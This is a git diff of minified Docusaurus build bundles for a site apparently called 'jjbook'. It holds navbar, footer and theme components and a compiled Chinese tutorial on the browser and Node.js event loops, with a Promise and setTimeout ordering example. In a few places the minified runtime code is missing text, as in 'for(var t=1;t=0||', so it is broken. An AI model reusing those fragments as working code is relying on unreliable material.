a.createElement(T.Z,(0,b.Z)({},e,{key:t}))}))),a.createElement("div",{className:"navbar__items navbar__items--right"},I.map((function(e,t){return a.createElement(T.Z,(0,b.Z)({},e,{key:t}))})),!v.disabled&&a.createElement(w,{className:U,checked:v.isDarkTheme,onChange:v.toggle}),!_&&a.createElement(g.Z,null))),a.createElement("div",{role:"presentation",className:"navbar-sidebar__backdrop",onClick:f.toggle}),f.shouldRender&&a.createElement(W,{sidebarShown:f.shown,toggleSidebar:f.toggle}))},O=n(6742),j=n(4996),F=n(3919),G="footerLogoLink_MyFc",q=n(8465),K=n(8617),J=["to","href","label","prependBaseUrlToHref"];function Q(e){var t=e.to,n=e.href,r=e.label,l=e.prependBaseUrlToHref,o=(0,B.Z)(e,J),c=(0,j.Z)(t),i=(0,j.Z)(n,{forcePrependBaseUrl:!0});return a.createElement(O.Z,(0,b.Z)({className:"footer__link-item"},n?{href:l?i:n}:{to:c},o),n&&!(0,F.Z)(n)?a.createElement("span",null,r,a.createElement(K.Z,null)):r)}var Y=function(e){var t=e.sources,n=e.alt;return a.createElement(q.Z,{className:"footer__logo",alt:n,sources:t})};var X=function(){var e=(0,c.LU)().footer,t=e||{},n=t.copyright,l=t.links,o=void 0===l?[]:l,i=t.logo,s=void 0===i?{}:i,u={light:(0,j.Z)(s.src),dark:(0,j.Z)(s.srcDark||s.src)};return e?a.createElement("footer",{className:(0,r.Z)("footer",{"footer--dark":"dark"===e.style})},a.createElement("div",{className:"container"},o&&o.length>0&&a.createElement("div",{className:"row footer__links"},o.map((function(e,t){return a.createElement("div",{key:t,className:"col footer__col"},null!=e.title?a.createElement("div",{className:"footer__title"},e.title):null,null!=e.items&&Array.isArray(e.items)&&e.items.length>0?a.createElement("ul",{className:"footer__items"},e.items.map((function(e,t){return e.html?a.createElement("li",{key:t,className:"footer__item",dangerouslySetInnerHTML:{__html:e.html}}):a.createElement("li",{key:e.href||e.to,className:"footer__item"},a.createElement(Q,e))}))):null)}))),(s||n)&&a.createElement("div",{className:"footer__bottom text--center"},s&&(s.src||s.srcDark)&&a.createElement("div",{className:"margin-bottom--sm"},s.href?a.createElement(O.Z,{href:s.href,className:G},a.createElement(Y,{alt:s.alt,sources:u})):a.createElement(Y,{alt:s.alt,sources:u})),n?a.createElement("div",{className:"footer__copyright",dangerouslySetInnerHTML:{__html:n}}):null))):null},$=n(412),ee=(0,c.WA)("theme"),te="light",ne="dark",ae=function(e){return e===ne?ne:te},re=function(e){(0,c.WA)("theme").set(ae(e))},le=function(){var e=(0,c.LU)().colorMode,t=e.defaultMode,n=e.disableSwitch,r=e.respectPrefersColorScheme,l=(0,a.useState)(function(e){return $.Z.canUseDOM?ae(document.documentElement.getAttribute("data-theme")):ae(e)}(t)),o=l[0],i=l[1],s=(0,a.useCallback)((function(){i(te),re(te)}),[]),u=(0,a.useCallback)((function(){i(ne),re(ne)}),[]);return(0,a.useEffect)((function(){document.documentElement.setAttribute("data-theme",ae(o))}),[o]),(0,a.useEffect)((function(){if(!n)try{var e=ee.get();null!==e&&i(ae(e))}catch(t){console.error(t)}}),[i]),(0,a.useEffect)((function(){n&&!r||window.matchMedia("(prefers-color-scheme: dark)").addListener((function(e){var t=e.matches;i(t?ne:te)}))}),[]),{isDarkTheme:o===ne,setLightTheme:s,setDarkTheme:u}},oe=n(2924);var ce=function(e){var t=le(),n=t.isDarkTheme,r=t.setLightTheme,l=t.setDarkTheme;return a.createElement(oe.Z.Provider,{value:{isDarkTheme:n,setLightTheme:r,setDarkTheme:l}},e.children)},ie="docusaurus.tab.",se=function(){var e=(0,a.useState)({}),t=e[0],n=e[1],r=(0,a.useCallback)((function(e,t){(0,c.WA)("docusaurus.tab."+e).set(t)}),[]);return(0,a.useEffect)((function(){try{var e={};(0,c._f)().forEach((function(t){if(t.startsWith(ie)){var n=t.substring(ie.length);e[n]=(0,c.WA)(t).get()}})),n(e)}catch(t){console.error(t)}}),[]),{tabGroupChoices:t,setTabGroupChoices:function(e,t){n((function(n){var a;return Object.assign({},n,((a={})[e]=t,a))})),r(e,t)}}},ue=(0,a.createContext)(void 0);var me=function(e){var t=se(),n=t.tabGroupChoices,r=t.setTabGroupChoices;return a.createElement(ue.Provider,{value:{tabGroupChoices:n,setTabGroupChoices:r}},e.children)};function de(e){var t=e.children;return a.createElement(ce,null,a.createElement(c.pl,null,a.createElement(me,null,a.createElement(c.L5,null,a.createElement(c.Cn,null,t)))))}var fe=n(9105),ve=n(2263);function he(e){var t=e.locale,n=e.version,r=e.tag;return a.createElement(fe.Z,null,t&&a.createElement("meta",{name:"docusaurus_locale",content:t}),n&&a.createElement("meta",{name:"docusaurus_version",content:n}),r&&a.createElement("meta",{name:"docusaurus_tag",content:r}))}var be=n(1217);function ge(){var e=(0,ve.Z)().i18n,t=e.defaultLocale,n=e.locales,r=(0,c.l5)();return a.createElement(fe.Z,null,n.map((function(e){return a.createElement("link",{key:e,rel:"alternate",href:r.createUrl({locale:e,fullyQualified:!0}),hrefLang:e})})),a.createElement("link",{rel:"alternate",href:r.createUrl({locale:t,fullyQualified:!0}),hrefLang:"x-default"}))}function Ee(e){var t=e.permalink,n=(0,ve.Z)().siteConfig.url,r=function(){var e=(0,ve.Z)().siteConfig.url,t=(0,l.TH)().pathname;return e+(0,j.Z)(t)}(),o=t?""+n+t:r;return a.createElement(fe.Z,null,a.createElement("meta",{property:"og:url",content:o}),a.createElement("link",{rel:"canonical",href:o}))}function pe(e){var t=(0,ve.Z)(),n=t.siteConfig.favicon,r=t.i18n,l=r.currentLocale,o=r.localeConfigs,i=(0,c.LU)(),s=i.metadatas,u=i.image,m=e.title,d=e.description,f=e.image,v=e.keywords,h=e.searchMetadatas,g=(0,j.Z)(n),E=(0,c.pe)(m),p=l,Z=o[l].direction;return a.createElement(a.Fragment,null,a.createElement(fe.Z,null,a.createElement("html",{lang:p,dir:Z}),n&&a.createElement("link",{rel:"shortcut icon",href:g}),a.createElement("title",null,E),a.createElement("meta",{property:"og:title",content:E}),a.createElement("meta",{name:"twitter:card",content:"summary_large_image"})),u&&a.createElement(be.Z,{image:u}),f&&a.createElement(be.Z,{image:f}),a.createElement(be.Z,{description:d,keywords:v}),a.createElement(Ee,null),a.createElement(ge,null),a.createElement(he,(0,b.Z)({tag:c.HX,locale:l},h)),a.createElement(fe.Z,null,s.map((function(e,t){return a.createElement("meta",(0,b.Z)({key:"metadata_"+t},e))}))))}var Ze=function(){(0,a.useEffect)((function(){var e="navigation-with-keyboard";function t(t){"keydown"===t.type&&"Tab"===t.key&&document.body.classList.add(e),"mousedown"===t.type&&document.body.classList.remove(e)}return document.addEventListener("keydown",t),document.addEventListener("mousedown",t),function(){document.body.classList.remove(e),document.removeEventListener("keydown",t),document.removeEventListener("mousedown",t)}}),[])};var ke=function(e){var t=e.children,n=e.noFooter,l=e.wrapperClassName,o=e.pageClassName;return Ze(),a.createElement(de,null,a.createElement(pe,e),a.createElement(u,null),a.createElement(h,null),a.createElement(z,null),a.createElement("div",{className:(0,r.Z)(c.kM.wrapper.main,l,o)},t),!n&&a.createElement(X,null))}},5537:function(e,t,n){var a=n(7462),r=n(3366),l=n(7294),o=n(6742),c=n(8465),i=n(4996),s=n(2263),u=n(1773),m=["imageClassName","titleClassName"];t.Z=function(e){var t=(0,s.Z)().siteConfig.title,n=(0,u.LU)().navbar,d=n.title,f=n.logo,v=void 0===f?{src:""}:f,h=e.imageClassName,b=e.titleClassName,g=(0,r.Z)(e,m),E=(0,i.Z)(v.href||"/"),p={light:(0,i.Z)(v.src),dark:(0,i.Z)(v.srcDark||v.src)};return l.createElement(o.Z,(0,a.Z)({to:E},g,v.target&&{target:v.target}),v.src&&l.createElement(c.Z,{className:h,sources:p,alt:v.alt||d||t}),null!=d&&l.createElement("b",{className:b},d))}},5525:function(e,t,n){n.d(t,{O:function(){return b}});var a=n(7462),r=n(3366),l=n(7294),o=n(6010),c=n(6742),i=n(4996),s=n(8617),u=n(3919),m=n(7819),d=["activeBasePath","activeBaseRegex","to","href","label","activeClassName","prependBaseUrlToHref"],f=["className","isDropdownItem"],v=["className","isDropdownItem"],h=["mobile","position"];function b(e){var t,n=e.activeBasePath,o=e.activeBaseRegex,m=e.to,f=e.href,v=e.label,h=e.activeClassName,b=void 0===h?"":h,g=e.prependBaseUrlToHref,E=(0,r.Z)(e,d),p=(0,i.Z)(m),Z=(0,i.Z)(n),k=(0,i.Z)(f,{forcePrependBaseUrl:!0}),_=v&&f&&!(0,u.Z)(f),w="dropdown__link--active"===b;return l.createElement(c.Z,(0,a.Z)({},f?{href:g?k:f}:Object.assign({isNavLink:!0,activeClassName:null!=(t=E.className)&&t.includes(b)?"":b,to:p},n||o?{isActive:function(e,t){return o?new RegExp(o).test(t.pathname):t.pathname.startsWith(Z)}}:null),E),_?l.createElement("span",null,v,l.createElement(s.Z,w&&{width:12,height:12})):v)}function g(e){var t=e.className,n=e.isDropdownItem,c=void 0!==n&&n,i=(0,r.Z)(e,f),s=l.createElement(b,(0,a.Z)({className:(0,o.Z)(c?"dropdown__link":"navbar__item navbar__link",t)},i));return c?l.createElement("li",null,s):s}function E(e){var t=e.className,n=(e.isDropdownItem,(0,r.Z)(e,v));return l.createElement("li",{className:"menu__list-item"},l.createElement(b,(0,a.Z)({className:(0,o.Z)("menu__link",t)},n)))}t.Z=function(e){var t=e.mobile,n=void 0!==t&&t,o=(e.position,(0,r.Z)(e,h)),c=n?E:g;return l.createElement(c,(0,a.Z)({},o,{activeClassName:(0,m.E)(n)}))}},6400:function(e,t,n){n.d(t,{Z:function(){return f}});var a=n(7462),r=n(3366),l=n(7294),o=n(5525),c=n(907),i=n(6010),s=n(7819),u=n(1773),m=n(8780),d=["docId","label","docsPluginId"];function f(e){var t,n=e.docId,f=e.label,v=e.docsPluginId,h=(0,r.Z)(e,d),b=(0,c.Iw)(v),g=b.activeVersion,E=b.activeDoc,p=(0,u.J)(v).preferredVersion,Z=(0,c.yW)(v),k=function(e,t){var n=e.flatMap((function(e){return e.docs})),a=n.find((function(e){return e.id===t}));if(!a){var r=n.map((function(e){return e.id})).join("\n- ");throw new Error("DocNavbarItem: couldn't find any doc with id \""+t+'" in version'+(e.length?"s":"")+" "+e.map((function(e){return e.name})).join(", ")+'".\nAvailable doc ids are:\n- '+r)}return a}((0,m.uniq)([g,p,Z].filter(Boolean)),n),_=(0,s.E)(h.mobile);return l.createElement(o.Z,(0,a.Z)({exact:!0},h,{className:(0,i.Z)(h.className,(t={},t[_]=(null==E?void 0:E.sidebar)&&E.sidebar===k.sidebar,t)),activeClassName:_,label:null!=f?f:k.id,to:k.path}))}},9308:function(e,t,n){n.d(t,{Z:function(){return f}});var a=n(7462),r=n(3366),l=n(7294),o=n(5525),c=n(3154),i=n(907),s=n(1773),u=n(4973),m=["mobile","docsPluginId","dropdownActiveClassDisabled","dropdownItemsBefore","dropdownItemsAfter"],d=function(e){return e.docs.find((function(t){return t.id===e.mainDocId}))};function f(e){var t,n,f=e.mobile,v=e.docsPluginId,h=e.dropdownActiveClassDisabled,b=e.dropdownItemsBefore,g=e.dropdownItemsAfter,E=(0,r.Z)(e,m),p=(0,i.Iw)(v),Z=(0,i.gB)(v),k=(0,i.yW)(v),_=(0,s.J)(v),w=_.preferredVersion,N=_.savePreferredVersionName;var y,C=(y=Z.map((function(e){var t=(null==p?void 0:p.alternateDocVersions[e.name])||d(e);return{isNavLink:!0,label:e.label,to:t.path,isActive:function(){return e===(null==p?void 0:p.activeVersion)},onClick:function(){N(e.name)}}})),[].concat(b,y,g)),I=null!=(t=null!=(n=p.activeVersion)?n:w)?t:k,L=f&&C?(0,u.I)({id:"theme.navbar.mobileVersionsDropdown.label",message:"Versions",description:"The label for the navbar versions dropdown on mobile view"}):I.label,D=f&&C?void 0:d(I).path;return C.length<=1?l.createElement(o.Z,(0,a.Z)({},E,{mobile:f,label:L,to:D,isActive:h?function(){return!1}:void 0})):l.createElement(c.Z,(0,a.Z)({},E,{mobile:f,label:L,to:D,items:C,isActive:h?function(){return!1}:void 0}))}},7250:function(e,t,n){n.d(t,{Z:function(){return u}});var a=n(7462),r=n(3366),l=n(7294),o=n(5525),c=n(907),i=n(1773),s=["label","to","docsPluginId"];function u(e){var t,n=e.label,u=e.to,m=e.docsPluginId,d=(0,r.Z)(e,s),f=(0,c.zu)(m),v=(0,i.J)(m).preferredVersion,h=(0,c.yW)(m),b=null!=(t=null!=f?f:v)?t:h,g=null!=n?n:b.label,E=null!=u?u:function(e){return e.docs.find((function(t){return t.id===e.mainDocId}))}(b).path;return l.createElement(o.Z,(0,a.Z)({},d,{label:g,to:E}))}},3154:function(e,t,n){var a=n(7462),r=n(3366),l=n(7294),o=n(6010),c=n(1773),i=n(5525),s=n(7819),u=["items","position","className"],m=["items","className","position"],d=["mobile"];function f(e,t){return e.some((function(e){return function(e,t){return!!(0,c.Mg)(e.to,t)||!(!e.activeBaseRegex||!new RegExp(e.activeBaseRegex).test(t))||!(!e.activeBasePath||!t.startsWith(e.activeBasePath))}(e,t)}))}function v(e){var t,n=e.items,c=e.position,m=e.className,d=(0,r.Z)(e,u),f=(0,l.useRef)(null),v=(0,l.useRef)(null),h=(0,l.useState)(!1),b=h[0],g=h[1];return(0,l.useEffect)((function(){var e=function(e){f.current&&!f.current.contains(e.target)&&g(!1)};return document.addEventListener("mousedown",e),document.addEventListener("touchstart",e),function(){document.removeEventListener("mousedown",e),document.removeEventListener("touchstart",e)}}),[f]),l.createElement("div",{ref:f,className:(0,o.Z)("navbar__item","dropdown","dropdown--hoverable",{"dropdown--right":"right"===c,"dropdown--show":b})},l.createElement(i.O,(0,a.Z)({className:(0,o.Z)("navbar__link",m)},d,{onClick:d.to?void 0:function(e){return e.preventDefault()},onKeyDown:function(e){"Enter"===e.key&&(e.preventDefault(),g(!b))}}),null!=(t=d.children)?t:d.label),l.createElement("ul",{ref:v,className:"dropdown__menu"},n.map((function(e,t){return l.createElement(s.Z,(0,a.Z)({isDropdownItem:!0,onKeyDown:function(e){if(t===n.length-1&&"Tab"===e.key){e.preventDefault(),g(!1);var a=f.current.nextElementSibling;a&&a.focus()}},activeClassName:"dropdown__link--active"},e,{key:t}))}))))}function h(e){var t,n=e.items,u=e.className,d=(e.position,(0,r.Z)(e,m)),v=(0,c.be)(),h=f(n,v),b=(0,c.uR)({initialState:function(){return!h}}),g=b.collapsed,E=b.toggleCollapsed,p=b.setCollapsed;return(0,l.useEffect)((function(){h&&p(!h)}),[v,h]),l.createElement("li",{className:(0,o.Z)("menu__list-item",{"menu__list-item--collapsed":g})},l.createElement(i.O,(0,a.Z)({role:"button",className:(0,o.Z)("menu__link menu__link--sublist",u)},d,{onClick:function(e){e.preventDefault(),E()}}),null!=(t=d.children)?t:d.label),l.createElement(c.zF,{lazy:!0,as:"ul",className:"menu__list",collapsed:g},n.map((function(e,t){return l.createElement(s.Z,(0,a.Z)({mobile:!0,isDropdownItem:!0,onClick:d.onClick,activeClassName:"menu__link--active"},e,{key:t}))}))))}t.Z=function(e){var t=e.mobile,n=void 0!==t&&t,a=(0,r.Z)(e,d),o=n?h:v;return l.createElement(o,a)}},7819:function(e,t,n){n.d(t,{Z:function(){return Z},E:function(){return p}});var a=n(3366),r=n(7294),l=n(5525),o=n(3154),c=n(7462),i=["width","height"],s=function(e){var t=e.width,n=void 0===t?20:t,l=e.height,o=void 0===l?20:l,s=(0,a.Z)(e,i);return r.createElement("svg",(0,c.Z)({viewBox:"0 0 20 20",width:n,height:o,"aria-hidden":"true"},s),r.createElement("path",{fill:"currentColor",d:"M19.753 10.909c-.624-1.707-2.366-2.726-4.661-2.726-.09 0-.176.002-.262.006l-.016-2.063 3.525-.607c.115-.019.133-.119.109-.231-.023-.111-.167-.883-.188-.976-.027-.131-.102-.127-.207-.109-.104.018-3.25.461-3.25.461l-.013-2.078c-.001-.125-.069-.158-.194-.156l-1.025.016c-.105.002-.164.049-.162.148l.033 2.307s-3.061.527-3.144.543c-.084.014-.17.053-.151.143.019.09.19 1.094.208 1.172.018.08.072.129.188.107l2.924-.504.035 2.018c-1.077.281-1.801.824-2.256 1.303-.768.807-1.207 1.887-1.207 2.963 0 1.586.971 2.529 2.328 2.695 3.162.387 5.119-3.06 5.769-4.715 1.097 1.506.256 4.354-2.094 5.98-.043.029-.098.129-.033.207l.619.756c.08.096.206.059.256.023 2.51-1.73 3.661-4.515 2.869-6.683zm-7.386 3.188c-.966-.121-.944-.914-.944-1.453 0-.773.327-1.58.876-2.156a3.21 3.21 0 011.229-.799l.082 4.277a2.773 2.773 0 01-1.243.131zm2.427-.553l.046-4.109c.084-.004.166-.01.252-.01.773 0 1.494.145 1.885.361.391.217-1.023 2.713-2.183 3.758zm-8.95-7.668a.196.196 0 00-.196-.145h-1.95a.194.194 0 00-.194.144L.008 16.916c-.017.051-.011.076.062.076h1.733c.075 0 .099-.023.114-.072l1.008-3.318h3.496l1.008 3.318c.016.049.039.072.113.072h1.734c.072 0 .078-.025.062-.076-.014-.05-3.083-9.741-3.494-11.04zm-2.618 6.318l1.447-5.25 1.447 5.25H3.226z"}))},u=n(2263),m=n(1773),d="iconLanguage_3vod",f=["mobile","dropdownItemsBefore","dropdownItemsAfter"];function v(e){var t=e.mobile,n=e.dropdownItemsBefore,l=e.dropdownItemsAfter,i=(0,a.Z)(e,f),v=(0,u.Z)().i18n,h=v.currentLocale,b=v.locales,g=v.localeConfigs,E=(0,m.l5)();function p(e){return g[e].label}var Z=b.map((function(e){var t="pathname://"+E.createUrl({locale:e,fullyQualified:!1});return{isNavLink:!0,label:p(e),to:t,target:"_self",autoAddBaseUrl:!1,className:e===h?"dropdown__link--active":"",style:{textTransform:"capitalize"}}})),k=[].concat(n,Z,l),_=t?"Languages":p(h);return r.createElement(o.Z,(0,c.Z)({},i,{href:"#",mobile:t,label:r.createElement("span",null,r.createElement(s,{className:d}),r.createElement("span",null,_)),items:k}))}var h=n(1875);function b(e){return e.mobile?null:r.createElement(h.Z,null)}var g=["type"],E={default:function(){return l.Z},localeDropdown:function(){return v},search:function(){return b},dropdown:function(){return o.Z},docsVersion:function(){return n(7250).Z},docsVersionDropdown:function(){return n(9308).Z},doc:function(){return n(6400).Z}};var p=function(e){return e?"menu__link--active":"navbar__link--active"};function Z(e){var t=e.type,n=(0,a.Z)(e,g),l=function(e){var t=E[e];if(!t)throw new Error('No NavbarItem component found for type "'+e+'".');return t()}(function(e,t){return e&&"default"!==e?e:t?"dropdown":"default"}(t,void 0!==n.items));return r.createElement(l,n)}},2924:function(e,t,n){var a=n(7294).createContext(void 0);t.Z=a},8465:function(e,t,n){n.d(t,{Z:function(){return m}});var a=n(7462),r=n(3366),l=n(7294),o=n(6010),c=n(2389),i=n(5350),s={themedImage:"themedImage_1VuW","themedImage--light":"themedImage--light_3UqQ","themedImage--dark":"themedImage--dark_hz6m"},u=["sources","className","alt"],m=function(e){var t=(0,c.Z)(),n=(0,i.Z)().isDarkTheme,m=e.sources,d=e.className,f=e.alt,v=void 0===f?"":f,h=(0,r.Z)(e,u),b=t?n?["dark"]:["light"]:["light","dark"];return l.createElement(l.Fragment,null,b.map((function(e){return l.createElement("img",(0,a.Z)({key:e,src:m[e],alt:v,className:(0,o.Z)(s.themedImage,s["themedImage--"+e],d)},h))})))}},7898:function(e,t,n){var a=n(7294),r=n(412),l=function(){return r.Z.canUseDOM?{scrollX:window.pageXOffset,scrollY:window.pageYOffset}:null};t.Z=function(e,t){void 0===t&&(t=[]);var n=(0,a.useRef)(l()),r=function(){var t=l();e&&e(t,n.current),n.current=t};(0,a.useEffect)((function(){var e={passive:!0};return r(),window.addEventListener("scroll",r,e),function(){return window.removeEventListener("scroll",r,e)}}),t)}},5350:function(e,t,n){var a=n(7294),r=n(2924);t.Z=function(){var e=(0,a.useContext)(r.Z);if(null==e)throw new Error('"useThemeContext" is used outside of "Layout" component. Please see https://docusaurus.io/docs/api/themes/configuration#usethemecontext.');return e}}}]); \ No newline at end of file diff --git a/assets/js/26d83c4c.ed78a45c.js b/assets/js/26d83c4c.ed78a45c.js new file mode 100644 index 0000000..4997c56 --- /dev/null +++ b/assets/js/26d83c4c.ed78a45c.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkjjbook=self.webpackChunkjjbook||[]).push([[6695],{3905:function(e,t,n){n.d(t,{Zo:function(){return u},kt:function(){return k}});var o=n(7294);function r(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function l(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,o)}return n}function a(e){for(var t=1;t=0||(r[n]=e[n]);return r}(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(o=0;o=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(r[n]=e[n])}return r}var p=o.createContext({}),s=function(e){var t=o.useContext(p),n=t;return e&&(n="function"==typeof e?e(t):a(a({},t),e)),n},u=function(e){var t=s(e.components);return o.createElement(p.Provider,{value:t},e.children)},c={inlineCode:"code",wrapper:function(e){var t=e.children;return o.createElement(o.Fragment,{},t)}},m=o.forwardRef((function(e,t){var n=e.components,r=e.mdxType,l=e.originalType,p=e.parentName,u=i(e,["components","mdxType","originalType","parentName"]),m=s(n),k=r,d=m["".concat(p,".").concat(k)]||m[k]||c[k]||l;return n?o.createElement(d,a(a({ref:t},u),{},{components:n})):o.createElement(d,a({ref:t},u))}));function k(e,t){var n=arguments,r=t&&t.mdxType;if("string"==typeof e||r){var l=n.length,a=new Array(l);a[0]=m;var i={};for(var p in t)hasOwnProperty.call(t,p)&&(i[p]=t[p]);i.originalType=e,i.mdxType="string"==typeof e?e:r,a[1]=i;for(var s=2;s {\n // \u5fae\u4efb\u52a11\n console.log("Promise1");\n setTimeout(() => {\n // \u5b8f\u4efb\u52a12\n console.log("setTimeout2");\n }, 0);\n});\nsetTimeout(() => {\n // \u5b8f\u4efb\u52a11\n console.log("setTimeout1");\n Promise.resolve().then(() => {\n // \u5fae\u4efb\u52a12\n console.log("Promise2");\n });\n}, 0);\n')),(0,l.kt)("p",null,"\u6700\u540e\u8f93\u51fa\u987a\u5e8f\u4e3a\uff1aPromise1\uff0csetTimeout1\uff0cPromise2\uff0csetTimeout2\u3002\u5177\u4f53\u6d41\u7a0b\u5982\u4e0b\uff1a"),(0,l.kt)("ol",null,(0,l.kt)("li",{parentName:"ol"},"\u540c\u6b65\u4efb\u52a1\u6267\u884c\u5b8c\u6bd5\u3002\u5fae\u4efb\u52a1 1 \u8fdb\u5165\u5fae\u4efb\u52a1\u961f\u5217\uff0c\u5b8f\u4efb\u52a1 1 \u8fdb\u5165\u5b8f\u4efb\u52a1\u961f\u5217\u3002"),(0,l.kt)("li",{parentName:"ol"},"\u67e5\u770b\u5fae\u4efb\u52a1\u961f\u5217\uff0c\u5fae\u4efb\u52a1 1 \u6267\u884c\uff0c\u6253\u5370 Promise1\uff0c\u751f\u6210\u5b8f\u4efb\u52a1 2\uff0c\u8fdb\u5165\u5b8f\u4efb\u52a1\u961f\u5217\u3002"),(0,l.kt)("li",{parentName:"ol"},"\u67e5\u770b\u5b8f\u4efb\u52a1\u961f\u5217\uff0c\u5b8f\u4efb\u52a1 1 \u6267\u884c\uff0c\u6253\u5370 setTimeout1\uff0c\u751f\u6210\u5fae\u4efb\u52a1 2\uff0c\u8fdb\u5165\u5fae\u4efb\u52a1\u961f\u5217\u3002"),(0,l.kt)("li",{parentName:"ol"},"\u67e5\u770b\u5fae\u4efb\u52a1\u961f\u5217\uff0c\u5fae\u4efb\u52a1 2 \u6267\u884c\uff0c\u6253\u5370 Promise2\u3002"),(0,l.kt)("li",{parentName:"ol"},"\u67e5\u770b\u5b8f\u4efb\u52a1\u961f\u5217\uff0c\u5b8f\u4efb\u52a1 2 \u6267\u884c\uff0c\u6253\u5370 setTimeout2\u3002")),(0,l.kt)("h3",{id:"4-nodejs-\u4e2d\u7684\u4e8b\u4ef6\u5faa\u73af"},"4. Node.js \u4e2d\u7684\u4e8b\u4ef6\u5faa\u73af"),(0,l.kt)("p",null,"\u5728 Node.js \u4e2d\uff0c\u4e8b\u4ef6\u5faa\u73af\u8868\u73b0\u51fa\u7684\u72b6\u6001\u4e0e\u6d4f\u89c8\u5668\u4e2d\u5927\u81f4\u76f8\u540c\u3002\u4e0d\u540c\u7684\u662f Node.js \u4e2d\u6709\u4e00\u5957\u81ea\u5df1\u7684\u6a21\u578b\u3002 Node.js \u4e2d\u4e8b\u4ef6\u5faa\u73af\u7684\u5b9e\u73b0\u662f\u4f9d\u9760\u7684 libuv \u5f15\u64ce\u3002\u4e0b\u56fe\u7b80\u8981\u4ecb\u7ecd\u4e86\u4e8b\u4ef6\u5faa\u73af\u64cd\u4f5c\u987a\u5e8f\uff1a"),(0,l.kt)("p",null,(0,l.kt)("img",{parentName:"p",src:"https://user-images.githubusercontent.com/12165373/129439935-105a2439-23c8-4b2c-aea1-2493c3bf50e9.png",alt:"node event loop"})),(0,l.kt)("blockquote",null,(0,l.kt)("p",{parentName:"blockquote"},"\u56fe\u7247\u6765\u6e90 ",(0,l.kt)("a",{parentName:"p",href:"https://nodejs.org/en/docs/guides/event-loop-timers-and-nexttick/#what-is-the-event-loop"},"Node.js \u5b98\u7f51"))),(0,l.kt)("ol",null,(0,l.kt)("li",{parentName:"ol"},"timers\uff1a\u672c\u9636\u6bb5\u6267\u884c\u5df2\u7ecf\u88ab setTimeout() \u548c setInterval() \u7684\u8c03\u5ea6\u56de\u8c03\u51fd\u6570\u3002"),(0,l.kt)("li",{parentName:"ol"},"pending callbacks\uff1a\u6267\u884c\u5ef6\u8fdf\u5230\u4e0b\u4e00\u4e2a\u5faa\u73af\u8fed\u4ee3\u7684 I/O \u56de\u8c03\u3002"),(0,l.kt)("li",{parentName:"ol"},"idle\u3001prepare\uff1a\u4ec5\u7cfb\u7edf\u5185\u90e8\u4f7f\u7528\u3002"),(0,l.kt)("li",{parentName:"ol"},"poll\uff1a\u68c0\u7d22\u65b0\u7684 I/O \u4e8b\u4ef6;\u6267\u884c\u4e0e I/O \u76f8\u5173\u7684\u56de\u8c03\uff08\u51e0\u4e4e\u6240\u6709\u60c5\u51b5\u4e0b\uff0c\u9664\u4e86\u5173\u95ed\u7684\u56de\u8c03\u51fd\u6570\uff0c\u90a3\u4e9b\u7531\u8ba1\u65f6\u5668\u548c setImmediate() \u8c03\u5ea6\u7684\u4e4b\u5916\uff09\uff0c\u5176\u4f59\u60c5\u51b5 node \u5c06\u5728\u9002\u5f53\u7684\u65f6\u5019\u5728\u6b64\u963b\u585e\u3002"),(0,l.kt)("li",{parentName:"ol"},"check\uff1asetImmediate() \u56de\u8c03\u51fd\u6570\u5728\u8fd9\u91cc\u6267\u884c\u3002"),(0,l.kt)("li",{parentName:"ol"},"close callbacks\uff1a\u4e00\u4e9b\u5173\u95ed\u7684\u56de\u8c03\u51fd\u6570\uff0c\u5982\uff1asocket.on('close', ...)\u3002")),(0,l.kt)("p",null,"\u5728\u6bcf\u6b21\u8fd0\u884c\u7684\u4e8b\u4ef6\u5faa\u73af\u4e4b\u95f4\uff0cNode.js \u68c0\u67e5\u5b83\u662f\u5426\u5728\u7b49\u5f85\u4efb\u4f55\u5f02\u6b65 I/O \u6216\u8ba1\u65f6\u5668\uff0c\u5982\u679c\u6ca1\u6709\u7684\u8bdd\uff0c\u5219\u5b8c\u5168\u5173\u95ed\u3002"),(0,l.kt)("h2",{id:"\u53c2\u8003\u8d44\u6599"},"\u53c2\u8003\u8d44\u6599"),(0,l.kt)("ol",null,(0,l.kt)("li",{parentName:"ol"},(0,l.kt)("a",{parentName:"li",href:"https://html.spec.whatwg.org/multipage/webappapis.html#event-loops"},"whatwg event loops")),(0,l.kt)("li",{parentName:"ol"},(0,l.kt)("a",{parentName:"li",href:"https://en.wikipedia.org/wiki/Event_loop"},"wikipedia event loops")),(0,l.kt)("li",{parentName:"ol"},(0,l.kt)("a",{parentName:"li",href:"https://nodejs.org/en/docs/guides/event-loop-timers-and-nexttick/#what-is-the-event-loop"},"Node.js event loops"))))}m.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/2ad5369a.784ec345.js b/assets/js/2ad5369a.784ec345.js new file mode 100644 index 0000000..85dc8f4 --- /dev/null +++ b/assets/js/2ad5369a.784ec345.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkjjbook=self.webpackChunkjjbook||[]).push([[9500],{3905:function(e,t,r){r.d(t,{Zo:function(){return s},kt:function(){return k}});var a=r(7294);function n(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function l(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,a)}return r}function o(e){for(var t=1;t=0||(n[r]=e[r]);return n}(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(a=0;a=0||Object.prototype.propertyIsEnumerable.call(e,r)&&(n[r]=e[r])}return n}var p=a.createContext({}),m=function(e){var t=a.useContext(p),r=t;return e&&(r="function"==typeof e?e(t):o(o({},t),e)),r},s=function(e){var t=m(e.components);return a.createElement(p.Provider,{value:t},e.children)},c={inlineCode:"code",wrapper:function(e){var t=e.children;return a.createElement(a.Fragment,{},t)}},u=a.forwardRef((function(e,t){var 